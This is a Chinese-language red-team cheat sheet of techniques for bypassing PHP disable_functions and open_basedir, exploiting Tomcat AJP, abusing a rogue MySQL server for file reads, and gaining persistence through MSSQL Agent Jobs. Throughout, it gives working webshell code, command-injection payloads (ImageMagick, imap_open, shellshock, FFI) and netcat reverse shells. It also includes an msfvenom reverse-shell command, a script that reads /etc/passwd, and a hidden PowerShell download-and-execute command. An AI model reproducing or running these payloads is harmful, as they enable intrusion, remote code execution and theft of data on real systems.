#渗透测试#红蓝攻防#红队bypass突破口总结06

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目录

bypass

Linux绕过disable_function

windows系统组件com绕过

CGI启动方式

ImageMagick组件绕过

常规函数绕过

imap_open函数

[php7.4 FFI绕过](#php7.4 FFI绕过)

shellshock

蚁剑插件

open_basedir绕过

[Tomcat Ajp LFI &RCE](#Tomcat Ajp LFI &RCE)

Mysql连接文件读取

Mysql开启外连

[MSSQL &Agent Job上线](#MSSQL &Agent Job上线)

DNSLog

---

bypass

Linux绕过disable_function

LD_PRELOAD

linux环境
putenv()、mail()可用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
outpath是命令输出位置，sopath指定so文件路径。
或
替换php文件中的mail为error_log("a",1);

php7.0-7.3 bypass

直接bypass
https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php

windows系统组件com绕过

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象　Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

CGI启动方式

phpinfo中搜索server api是cgi或者fastcgi
如果是cgi模式:上传如下htaccess
Options ExecCGI
AddHandler cgi-script .xx
windows平台
#!C:/Windows/System32/cmd.exe /c start calc.exe
1
linux平台
#!/bin/bash
echo -ne "Content-Type: text:html\n\n"
whoami
如果是fast_cgi，上传如下htaccess
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
上传任意文件.abc
相对路径
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html
AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx

ImageMagick组件绕过

imageMagick 版本 v6.9.3-9 或 v7.0.1-0
第一种   

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'    //核心
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.webp');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.webp");
?>   

第二种   

#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}   

编译
gcc -shared -fPIC imag.c -o imag.so   

<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>

常规函数绕过

<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>

pcntl_exec

开启了pcntl 扩展，并且php 4>=4.2.0 , php5，linux   

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>   

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell

imap_open函数

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

php7.4 FFI绕过

php 7.4
ffi.enable=true   

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

存在CVE-2014-6271漏洞
PHP 5.*，linux，putenv()、mail()可用   

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

蚁剑插件

01利用LD_PRELOAD环境变量
02利用ShellShock（CVE-2014-6271）
03利用Apache Mod CGI
04 PHP-FPM利用LD_PRELOAD环境变量（同1）
05攻击PHP-FPM监听端口
06 Json Serializer UAF
07具有特定析构函数UAF的PHP7 GC

open_basedir绕过

第一种
http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
第二种
http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
第三种
命令执行绕过
读文件
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));

Tomcat Ajp LFI &RCE

LFI
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
>python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass

RCE
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg
配合目标文件上传传入服务器

>java -jar ajpfuzzer_v0.6.jar
>connect 192.168.0.110 8009
>forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"

Mysql连接文件读取

https://github.com/Gifts/Rogue-MySql-Server
客户端必须启用LOCAL-INFILE 
客户端支持非SSL连接
目标web存在adminer等可检查数据库连接的脚本。
攻击机本地运行python构造假mysql服务，使用目标web连接，读取文件。
#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3305))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

Mysql开启外连

>grant all privileges on user.* to user@"%" identified by "P@ssw0rd";

MSSQL &Agent Job上线

USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now ';
使用在注入点处，使用burp进行url编码，编码后前面加%20(空格URL编码)

DNSLog

http://ceye.io
http://www.dnslog.cn/